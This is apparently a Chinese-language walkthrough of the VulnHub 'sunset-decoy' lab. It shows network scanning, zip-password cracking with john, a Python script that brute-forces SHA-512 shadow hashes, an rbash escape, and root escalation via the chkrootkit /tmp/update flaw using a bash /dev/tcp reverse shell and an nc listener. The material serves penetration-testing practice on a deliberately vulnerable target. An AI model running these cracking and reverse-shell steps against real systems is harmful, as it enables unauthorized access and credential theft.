靶機下載地址
https://www.vulnhub.com/entry/sunset-decoy,505/
滲透過程
簡單信息收集
nmap 192.168.56.0/24 -Pn
# 確定靶機ip:192.168.56.121
nmap 192.168.56.121 -A -T4
# 得到開放端口22,80
在80端口得到save.zip,需要密碼解壓。
john破解壓縮包密碼
zip2john save.zip > hash.txt
john hash.txt
得到密碼manuel。
shadow密碼破解
解壓后得到/etc/文件夾,內有shadow文件,嘗試破解用戶密碼。
root外存在用戶296640a3b825115a47b68fc44501c828
296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::
密文是$6開頭,所以加密方式是SHA-512。
網上找到一個破解腳本。
# coding=utf-8
import crypt
?
shadow_file = "/etc/shadow" ? ? ? ? ? ? ? ? ? # 獲取系統密碼路徑
password_file = "/usr/share/wordlists/rockyou.txt" ? # 自己的密碼文件,里面放的是明文密碼
?
?
def get_pass(shadow_file):used = {} ? ? ? ? ? ? ? ? ? ? ? ? ? # key是用戶,value是對應的密文f = open(shadow_file, "r") ? ? ? # 讀取系統密碼文件userline = f.readlines() ? ? ? ? ? # 將該文件轉換為列表格式f.close()for item in userline: ? ? ? ? ? ? ? ? # 遍歷列表里的內容if len(item.split(":")[1]) > 3: ? # 以":"分割,取第二個元素的長度,也就是完整密文值的長度,如果大于3,我們認定它有密碼,把它取出來used[item.split(":")[0]] = item.split(":")[1] # 我們將取出的密文給了相應的用戶,這里的used[i.split(":")[0]]是字典的key,也就是系統中的用戶名,后面的i.split(":")[1]是用戶名后的加密密文return used
?
?
# 提取自己的密碼文件中的明文密碼
def look_d(password_file):f = open(password_file, 'r')mwlist = f.readlines() ? ? ? ? ? ? # 將讀取的內容轉換為列表f.close()for i, item in enumerate(mwlist):mwlist[i] = item.strip("\n") ? # 去除每一行的換行符return mwlist # 返回這個列表
?
?
# 根據密文是否相同判斷出對應的用戶和密碼
def main(user_passfile, zidian):used = get_pass(user_passfile) ? ? # 獲取用戶和對用的加密密文mingwen = look_d(zidian) ? ? ? ? ? # 獲取所有的明文密碼for user in used:passwd = used[user] ? ? ? ? ? ? # 一次遍歷每個用戶的密文salt = "$6$" + passwd.split("$")[2] # 獲取鹽值for passwdmw in mingwen: ? ? ? # 遍歷系統中的每個完整密文if passwd == crypt.crypt(passwdmw.rstrip(), salt): # 如果我們猜想的密文與系統中的密文相同,輸入它的用戶名和密碼print("userName:%s passWord:%s" % (user, passwdmw.rstrip()))
?
?
if __name__ == "__main__":main(shadow_file, password_file)
get密碼:server
rbash逃逸
ssh遠程登錄后發現是rbash,即restricted shell,受限制的bash,體現為
-
不能使用cd命令。
-
不能使用>,<>,>>等重定向操作符。
-
不能設置或取消環境變量。
rbash逃逸有很多種方式,這里測試后適用的是ssh登錄時逃逸 (借助-t遠程在遠程機器上運行腳本)
ssh 296640a3b825115a47b68fc44501c828@192.168.56.121 -t "bash --noprofile"# 不加載用戶配置
# -t "bash --noprofile"
rbash逃逸成功后發現仍、cat、vim等命令依舊無法使用,
需要配置環境變量。
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
完美解決,get user.txt。
用戶目錄內容如下:
存在一個root用戶創建的honeypot.decoy可執行文件,他有8個功能,其中除選項五之外都是簡單易懂的功能,選擇選項五后無回顯,不清楚具體作用。
rbash逃逸部分參考rbash逃逸大全-先知社區 (aliyun.com)
chkrootkit提權
SV-502/目錄下的logs文件中發現一個可疑點,chkrootkit,這是一個后門檢測工具。
搜索發現,chkrootkit 0.49版本有漏洞。searchsploit漏洞庫搜索一下,searchsploit chkrootkit
,鎖定到33899.txt。
了解后知道,滿足兩點即可利用該漏洞獲取root權限:
-
如果目標機器管理員會定期運行chkrootkit。
-
非root用戶對/tmp/目錄有寫權限。(可以再該目錄下創建有執行權限update文件)。
此處具體提權流程如下:
-
在tmp目錄下創建update文件,并寫入反彈shell。
touch /tmp/update ? chmod +x /tmp/update ? echo "bash -c 'exec bash -i &>/dev/tcp/ip/4444 <&1'" > /tmp/update
-
運行chkrootkit,首先查看是否有這個定時任務?;想到用戶目錄下那個可執行文件honeypot.decoy,執行后有8個選項,其中第五個選項意味不明
Launch an AV Scan.
,但是根據Scan有理由懷疑該選項就是執行chkrootkit。簡單測試一下,選擇選項五后使用ps -aux | grep chk
驗證發現運行了chkrootkit??
? ?
因此,提權操作如下:
# 靶機
./honeypot.decoy
5
# 攻擊機
nc -lvvp 4444
提權成功。